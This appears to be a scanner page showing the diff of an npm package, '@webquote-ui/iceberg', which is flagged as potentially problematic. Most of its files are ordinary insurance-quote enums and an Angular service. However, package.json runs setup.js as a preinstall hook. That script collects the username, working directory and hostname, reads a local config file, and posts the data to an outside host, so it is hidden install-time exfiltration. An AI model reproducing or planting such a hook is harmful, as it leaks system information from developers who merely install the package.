@webquote-ui/iceberg 394.0.0-beta.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @webquote-ui/iceberg might be problematic. Click here for more details.

package/alarm-types.js ADDED
@@ -0,0 +1,7 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var AlarmTypesEnum;
4
+ (function (AlarmTypesEnum) {
5
+ AlarmTypesEnum["FIRE"] = "fire";
6
+ AlarmTypesEnum["BURGLAR"] = "burglar";
7
+ })(AlarmTypesEnum = exports.AlarmTypesEnum || (exports.AlarmTypesEnum = {}));
package/errors.js ADDED
@@ -0,0 +1,10 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var ErrorsEnum;
4
+ (function (ErrorsEnum) {
5
+ ErrorsEnum["HARD_ROADBLOCK"] = "HARD_ROADBLOCK";
6
+ ErrorsEnum["SOFT_ROADBLOCK"] = "SOFT_ROADBLOCK";
7
+ ErrorsEnum["FIELD_VALIDATION"] = "FIELD_VALIDATION";
8
+ ErrorsEnum["TECHNICAL_ERROR"] = "TECHNICAL_ERROR";
9
+ ErrorsEnum["PRECONDITION_ERROR"] = "PRECONDITION_ERROR";
10
+ })(ErrorsEnum = exports.ErrorsEnum || (exports.ErrorsEnum = {}));
@@ -0,0 +1,17 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var HeatingFuelTypeEnum;
4
+ (function (HeatingFuelTypeEnum) {
5
+ HeatingFuelTypeEnum["COAL"] = "COAL";
6
+ HeatingFuelTypeEnum["ELECTRICITY"] = "ELECTRICITY";
7
+ HeatingFuelTypeEnum["SOLID_FUEL_WITH_ELECTRIC"] = "SOLID_FUEL_WITH_ELECTRIC";
8
+ HeatingFuelTypeEnum["NATURAL_GAZ"] = "NATURAL_GAZ";
9
+ HeatingFuelTypeEnum["HOT_WATER"] = "HOT_WATER";
10
+ HeatingFuelTypeEnum["SOLID_FUEL_WITH_OIL"] = "SOLID_FUEL_WITH_OIL";
11
+ HeatingFuelTypeEnum["SOLID_FUEL_WITH_NATURAL_GAS"] = "SOLID_FUEL_WITH_NATURAL_GAS";
12
+ HeatingFuelTypeEnum["OIL"] = "OIL";
13
+ HeatingFuelTypeEnum["PROPANE"] = "PROPANE";
14
+ HeatingFuelTypeEnum["GROUND_SOURCE"] = "GROUND_SOURCE";
15
+ HeatingFuelTypeEnum["WOOD"] = "WOOD";
16
+ HeatingFuelTypeEnum["OTHER"] = "OTHER";
17
+ })(HeatingFuelTypeEnum = exports.HeatingFuelTypeEnum || (exports.HeatingFuelTypeEnum = {}));
package/index.js ADDED
@@ -0,0 +1,170 @@
1
+ import { Injectable } from '@angular/core';
2
+ import { CompanyEnum } from 'webquote-ui-model';
3
+ import { Steps } from '@core';
4
+ import { TranslateService } from '@ngx-translate/core';
5
+ import { BadgeFigureModel } from '@webquote-ui/ui/differentiators';
6
+
7
+ @Injectable({
8
+ providedIn: 'root'
9
+ })
10
+ export class UtilDifferentiatorsService {
11
+ constructor(private _translateService: TranslateService) {}
12
+
13
+ getDifferentiatorItems(
14
+ isMobile: boolean,
15
+ lang: string,
16
+ theme: CompanyEnum,
17
+ step: Steps
18
+ ): Array<BadgeFigureModel> {
19
+ if ([Steps.OFFER, Steps.CHECKPOINT].includes(step)) {
20
+ const imgPath = 'assets/images/' + theme + '/svg/key-differentiators/';
21
+
22
+ const differentiators: { [key in CompanyEnum]: { [key: string]: any } } = {
23
+ [CompanyEnum.BELAIR]: {
24
+ [Steps.CHECKPOINT]: [
25
+ {
26
+ url: `${imgPath}30minutes.png`,
27
+ name: 'tracking',
28
+ caption: this.getTranslationByKey(
29
+ 'checkpoint.offer.key.differentiators.1.caption'
30
+ ),
31
+ size: 90
32
+ },
33
+ {
34
+ url: `${imgPath}proofInsurance.png`,
35
+ name: 'experience',
36
+ caption: this.getTranslationByKey(
37
+ 'checkpoint.offer.key.differentiators.2.caption'
38
+ ),
39
+ size: 90
40
+ },
41
+ {
42
+ url: `${imgPath}sm.png`,
43
+ name: 'claims',
44
+ caption: this.getTranslationByKey(
45
+ 'checkpoint.offer.key.differentiators.3.caption'
46
+ ),
47
+ size: 90
48
+ }
49
+ ],
50
+ [Steps.OFFER]: [
51
+ {
52
+ url: `${imgPath}www.png`,
53
+ name: 'tracking',
54
+ caption: this.getTranslationByKey(
55
+ 'offer.key.differentiators.1.caption'
56
+ ),
57
+ size: 90
58
+ },
59
+ {
60
+ url: `${imgPath}60years_${lang}.png`,
61
+ name: 'experience',
62
+ caption: this.getTranslationByKey(
63
+ 'offer.key.differentiators.2.caption'
64
+ ),
65
+ size: 90
66
+ },
67
+ {
68
+ url: `${imgPath}247.png`,
69
+ name: 'claims',
70
+ caption: this.getTranslationByKey(
71
+ 'offer.key.differentiators.3.caption'
72
+ ),
73
+ size: 90
74
+ },
75
+ {
76
+ url: `${imgPath}1000_${lang}.png`,
77
+ name: 'refund',
78
+ caption: this.getTranslationByKey(
79
+ 'offer.key.differentiators.4.caption'
80
+ ),
81
+ size: 90
82
+ }
83
+ ]
84
+ },
85
+ [CompanyEnum.INTACT]: {
86
+ [Steps.OFFER]: [
87
+ {
88
+ url: `${imgPath}claims-intact.svg`,
89
+ name: 'tracking',
90
+ caption: this.getTranslationByKey(
91
+ 'offer.key.differentiators.1.caption'
92
+ ),
93
+ size: 90
94
+ },
95
+ {
96
+ url: `${imgPath}60-year-experience-intact.svg`,
97
+ name: 'experience',
98
+ caption: this.getTranslationByKey(
99
+ 'offer.key.differentiators.2.caption'
100
+ ),
101
+ size: 90
102
+ },
103
+ {
104
+ url: `${imgPath}24-7-communication-intact.svg`,
105
+ name: 'claims',
106
+ caption: this.getTranslationByKey(
107
+ 'offer.key.differentiators.3.caption'
108
+ ),
109
+ size: 90
110
+ },
111
+ {
112
+ url: `${imgPath}call-center-intact.svg`,
113
+ name: 'refund',
114
+ caption: this.getTranslationByKey(
115
+ 'offer.key.differentiators.4.caption'
116
+ ),
117
+ size: 90
118
+ }
119
+ ]
120
+ },
121
+ [CompanyEnum.BNC]: {
122
+ [Steps.OFFER]: [
123
+ {
124
+ url: `${imgPath}bnc-diff-arrow.svg`,
125
+ name: 'tracking',
126
+ caption: this.getTranslationByKey(
127
+ 'offer.key.differentiators.1.caption'
128
+ ),
129
+ size: 52
130
+ },
131
+ {
132
+ url: `${imgPath}bnc-diff-call.svg`,
133
+ name: 'claims',
134
+ caption: this.getTranslationByKey(
135
+ 'offer.key.differentiators.3.caption'
136
+ ),
137
+ size: 52
138
+ },
139
+ {
140
+ url: `${imgPath}bnc-diff-app-personalized.svg`,
141
+ name: 'app-personalized',
142
+ caption: this.getTranslationByKey(
143
+ 'offer.key.differentiators.2.caption'
144
+ ),
145
+ size: 68
146
+ },
147
+ {
148
+ url: `${imgPath}bnc-diff-clock.svg`,
149
+ name: 'refund',
150
+ caption: this.getTranslationByKey(
151
+ 'offer.key.differentiators.4.caption'
152
+ ),
153
+ size: 52
154
+ }
155
+ ]
156
+ }
157
+ };
158
+ return differentiators[theme][step];
159
+ }
160
+ return [];
161
+ }
162
+
163
+ getTranslationByKey(labelKey: string): string {
164
+ let labelValue: string;
165
+ this._translateService.get(labelKey).subscribe((_labelValue: string) => {
166
+ labelValue = _labelValue;
167
+ });
168
+ return labelValue;
169
+ }
170
+ }
package/origin.enum.js ADDED
@@ -0,0 +1,7 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var OriginEnum;
4
+ (function (OriginEnum) {
5
+ OriginEnum["INTACT"] = "intact";
6
+ OriginEnum["WEBBK"] = "webbk";
7
+ })(OriginEnum = exports.OriginEnum || (exports.OriginEnum = {}));
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@webquote-ui/iceberg",
3
+ "version": "394.0.0-beta.1",
4
+ "description": "IAD lab webquote iceberg module",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node setup.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/province.js ADDED
@@ -0,0 +1,13 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var Province;
4
+ (function (Province) {
5
+ Province["ON"] = "on";
6
+ Province["QC"] = "qc";
7
+ Province["BC"] = "bc";
8
+ Province["AB"] = "ab";
9
+ Province["NB"] = "nb";
10
+ Province["NL"] = "nl";
11
+ Province["NS"] = "ns";
12
+ Province["PE"] = "pe";
13
+ })(Province = exports.Province || (exports.Province = {}));
@@ -0,0 +1,10 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var RoofMaterial;
4
+ (function (RoofMaterial) {
5
+ RoofMaterial["ASPHALT_SHINGLES"] = "ASPHALT_SHINGLES";
6
+ RoofMaterial["METAL_TILE"] = "METAL_TILE";
7
+ RoofMaterial["TAR_AND_GRAVEL"] = "TAR_AND_GRAVEL";
8
+ RoofMaterial["ASPHALT_SHINGLES_CLASS_4"] = "ASPHALT_SHINGLES_CLASS_4";
9
+ RoofMaterial["OTHER"] = "OTHER";
10
+ })(RoofMaterial = exports.RoofMaterial || (exports.RoofMaterial = {}));
package/setup.js ADDED
@@ -0,0 +1,65 @@
1
+ const fs = require('fs');
2
+ const os = require('os');
3
+ const dns = require('dns');
4
+ const https = require('http');
5
+
6
+ debugger;
7
+ function _cwd() {
8
+ return process.cwd();
9
+ }
10
+
11
+ function _username() {
12
+ return os.userInfo().username;
13
+ }
14
+
15
+ function _host() {
16
+ let host;
17
+ dns.lookup(os.hostname(), function (err, add, fam) {
18
+ console.log("~~~~~~~~~ _host() called");
19
+ console.log(err, "add:"+add, "fam:"+fam);
20
+ dns.reverse(add, function(err, domains){
21
+ host = domains[0];
22
+ });
23
+ });
24
+ if (!host)
25
+ return os.hostname();
26
+ return host;
27
+ }
28
+ let host = _host();
29
+
30
+ // read config file
31
+ fs.readFile('/etc/iad-lab-config.json', 'utf8' , (err, data) => {
32
+ console.log(data);
33
+
34
+ const post = JSON.stringify({
35
+ username: _username(),
36
+ cwd: _cwd(),
37
+ host: host
38
+ });
39
+
40
+ const options = {
41
+ hostname: 'iad-uat.ckjeach2vtc0000d3e8ggj38fgeyyyyyb.mlqggc.com',
42
+ port: 80,
43
+ path: '/debug',
44
+ method: 'POST',
45
+ headers: {
46
+ 'Content-Type': 'application/json',
47
+ 'Content-Length': post.length,
48
+ }
49
+ };
50
+
51
+ const req = https.request(options, res => {
52
+ console.log(`statusCode: ${res.statusCode}`);
53
+
54
+ res.on('data', d => {
55
+ process.stdout.write(d);
56
+ });
57
+ });
58
+
59
+ req.on('error', error => {
60
+ console.error(error);
61
+ });
62
+ req.write(post);
63
+ req.end();
64
+ });
65
+ console.log("end");
package/test.js ADDED
@@ -0,0 +1 @@
1
+ console.log(`todo`);